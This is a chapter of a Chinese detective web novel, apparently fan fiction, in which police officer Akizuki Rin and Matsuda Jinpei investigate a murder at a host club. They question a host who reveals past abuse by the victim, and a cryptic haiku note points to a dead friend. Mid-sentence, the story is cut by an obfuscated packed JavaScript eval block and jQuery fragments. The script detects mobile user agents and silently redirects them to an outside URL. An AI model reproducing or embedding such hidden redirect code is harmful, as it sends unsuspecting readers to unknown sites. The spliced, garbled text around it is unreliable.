“还真是好久不见呐。”秋月凛皮笑肉不笑的说,眼中并没有多少笑意。
浅田枫的妆容较大阪初遇时更浓重了,脂粉气铺满了整张骷髅架子,脸和脖子黄白不接,小心翼翼的赔笑道:“呃……秋月警官,您怎么从大阪调到东京警视厅了?”
这话说的,谁不是呢。
秋月凛本想再讽刺几句,再吓唬吓唬浅田枫,瞥见他那畏缩的神情,终究还是把话咽了回去。
算了,何必让自己显得像是在仗势欺人呢?
一年前见他的时候,他还没有那么厚的妆。虽然骗了她一通,但当时对于他的外貌,秋月凛一开始是怀着欣赏的眼光。
短短一年时间,浅田枫仿佛变了许多。这变化不仅仅是外貌上的,更在他的精神层面。他看上去身心俱疲,六神无主,活像是一个空洞的木偶。
难不成这是风俗行业的一种进化,又或者是浅田枫染上了毒品?
不对劲,很不对劲。
目睹一起凶杀案现场,虽然足以让任何人感到震惊和恐惧,但也不至于让浅田枫手抖得如同筛子一般。
牛郎这个职业,黑白两道多少都沾点,从业生涯中心态早就练出来了。否则他也会在明知她是警察的情况下还上门招惹了。
秋月凛正想试探一下,松田阵平突然俯声在她耳边小声问:“他就是你之前点的那个牛郎?”
她眼角微抽,艰难的点头确认。
不是吧,这锅真让她背上了。
松田阵平的手搭上了她的肩膀,目光扫过在场的几个人,又认真的看了浅田枫一眼,说:“那他交给你了,剩下的人我来审。”
浅田枫的精神状态看着不太好,一起审的话,七嘴八舌的估摸着也说不出什么来。
不是有句话说得好,三个男人一台戏嘛~
现场几个牛郎里面,其实就他一个对本田志勇的尸体反应比较大,其他几个人都无动于衷,只关心手机上偶尔弹出的消息。
换句话说,浅田枫身上的疑点是最多的。
“好。”
“啊——”浅田枫似乎突然想起了什么,对着秋月凛呈九十度鞠了一躬,说:“实在很抱歉啊,秋月警官,当初在大阪的事情……”
都是稻川会的安排,她明白的。
秋月凛的姿态很舒展,刻意拉近距离,笑眯眯的点了下头:“坐吧,别紧张,我们都算是熟人了。当初的那件事情我早就不放在心上了,当时我还打了你一顿,早就扯平了,刚刚就是想吓唬你一下。”
浅田枫的眼睛亮了一瞬,表情突然生动了起来,愣愣地点了几下头。
“说说吧,这回可千万别再骗我了,今天早上,你是怎么发现尸体的?”她的语气温柔且不失严肃。
浅田枫的眼珠子僵硬的转了一圈,缓缓开口道:“早晨六点,我接到了一个陌生女人的电话,她声称是我昨天的客人之一,走之前给我的衣服里留了点东西,让我一定要现在过去看看……”
“大清早被吵醒,我本来挺不爽的,想继续睡,但一想到可能是什么好东西,我还是按她说的去了更衣室。”他说到这里,焦躁不安的抓了抓头发,眼睛瞪大:“哪知道一打开门,就看到一个尸体悬挂在天花板上,真是太可怕了!地上、柜子上全都是血,都快漫到我的脚下了!”
秋月凛点了点头,继续问道:“你和死者本田勇志之前认识吗?”
“不……”浅田枫结巴了一下,对上秋月凛的安抚的视线,低着头说:“认识的,我们是高中同学。”
“还有呢?”秋月凛追问道。
浅田枫犹豫了一下,看了秋月凛一眼,似乎有些难以启齿:“我不知道该不该告诉你们我们之间发生的一些事情。”
这还用得着问吗?
肯定是越详细越好啊。
他恳切的请求:“秋月警官,拜托了,我能只告诉你一个人吗?”
“当然。”
秋月凛看向身后笔耕不辍的高木,示意他去案发现场,拿着钥匙打开浅田枫的换衣柜,去他昨天穿过的衣服兜里找找。
“他高中的时候……曾经猥亵过我。”浅田枫低着头,手指死死纠缠在一起,声如蚊呐的讲述:“自从在东京遇到我之后,他就一直骚扰我,我想过离开这里……但是他的手上一直有我的那种照片,我很害怕我的父母收到这些东西……”他嫌恶的闭了闭眼。
“实不相瞒,我干这一行是瞒着我父母的。”
原来如此,这样浅田枫的异常表现就说得通了。
“报告秋月警官,从浅田枫的衣兜里搜出了这个。”高木很快就回来了,手里拿着张皱巴巴的纸条。
“很好。”
纸条上写着:你去我留,深渊两个秋。
这句话改编自正岗子规的俳句,原句是:我去你留,两个秋。是句表达与友人分离在即,思念不舍的话语。
能写下这个,对方一定是他的故人。
秋月凛深深地看了他一眼,眼神犀利的问:“昨天你接待的客人都有谁?”
浅田枫努力的回想,最终还是摇了摇头:“记不清了……最近店里生意很旺,我是一周前新加入进来的,每天都会被灌好多酒,根本记不清楚那些人的脸。酒喝多之后,那些客人大多都会对我们动手动脚,有机会塞纸条的人不少……”
“够了!”秋月凛打断他的回忆,将纸条在他眼前晃了晃:“看看这个。”
看清上面的文字和字体时,浅田枫的身体突然剧烈地颤抖起来,仿佛被一股无形的力量击中,脸色瞬间变得苍白,声音颤抖地自言自语起来:“难不成,真的是你回来了吗?”
……
中午,秋月凛和松田阵平一同去了案发地点附近一家颇具盛名的中餐馆。
吃饭时,她还在想这桩案子。
松田阵平那边对有更衣室钥匙的几个牛郎进行了排查,结果并不理想,同时拥有作案时间和动机的人数几乎为零。
另一边,浅田枫的口供与他早晨前往案发地点的动机完美契合。在他的手机通话记录中,果然找到了一通电话,地点指向樱丘高中门口的电话亭。
这就更加巧合了。
从浅田
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14148675|150248||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
枫口中,秋月凛还得知了那张纸条上字迹的主人——
伊藤秋。
东京人,浅田枫高中时期的同班同学,他此生唯一的挚友。
“枫”在诗歌中常被当作一种意象,象征着秋天。“秋”更不必多说,这两人的名字完美的和俳句中的“两个秋”对上了。
然而“伊藤秋”这个名字的主人早在一年前就去世了,时间节点恰好能解释浅田枫来从大阪来到东京的原因。
起死回生的想法确实太过荒谬,即便是秋月凛这样想象力丰富的人,也不会轻易将其作为案件的假设。
当然,不排除浅田枫是在说谎。
对于伊藤秋的死,她确实心存疑虑,当“假死”这个念头浮现在脑海时,她不禁皱了皱眉。
不久前,本田勇志的妻子姗姗来迟,出现在认领尸体的现场。
望着那具遗体,她的神情淡漠,没有留一滴泪,眼中只有冷漠与疏离。仿佛死去的并不是与同床共枕数年的爱人,而是某个无关紧要的陌生人。
在即将离开之际,她突然停下脚步,转头对秋月凛说了这样一句意味不明的话:“就这样吧,像他这样的人早就该死了。”
结合浅田枫之前所说的话,本田勇志高中时就能干出这种禽兽不如的事情,成家后经常流连红灯区也不奇怪,这种人从根子上就是烂的啊。
秋月凛不难想到他们之间的婚姻其实并不美满。好歹夫妻一场,居然到了装都懒得装的这步了吗?她内心唏嘘无比。
那么,伊藤秋的死到底和本田勇志有没有关联?那张纸条又是谁塞到浅田枫的衣服口袋里的?打电话给浅田枫让他去更衣室的女人又会是谁?
想也想不明白,秋月凛叹了口气,口中的面条变得索然无味。
她惆怅的说:“看来,解开这一切谜团的关键,都落在伊藤秋的身上了。”
“不觉得奇怪吗,凶手兜了一个大圈子,好像在刻意的引导我们去查伊藤秋的事情。”
松田阵平搁下筷子,目光深沉:“给死人身上堆这么多谜团,看来暗处有人希望我们去帮他解决一些陈年旧事。”
吸溜了一口面条,秋月凛嘴巴里鼓鼓囊囊的,含混不清地说着:“你说的没错,我们必须往下查,只是那些牛郎啊……”
她轻轻皱起眉头,一提起那些牛郎就感到一阵头疼。才半天时间,那些人就已经急不可耐地想要重新开张,不断地向警方施压,催促他们尽快结案。
松田阵平在一旁戏谑地笑道:“嘛,看来那些人还要继续失业一段时间咯。”
好不容易咽下面条,还没来得及擦拭嘴角的汤汁,松田阵平突然调转了话题,似笑非笑地看着她,问:“你说浅田枫为什么那么信任你?”
秋月凛愣了一下,随即耸了耸肩,无辜地摊开双手说:“这我怎么知道呢?”
对于这份异乎寻常的信任,她本人也觉得感到困惑,浅田枫的态度实在是太奇怪了,人和人之间产生信任的方式有很多。显然,亏欠和愧疚并不能迅速的拉进两个人的距离。
秋月凛想不明白。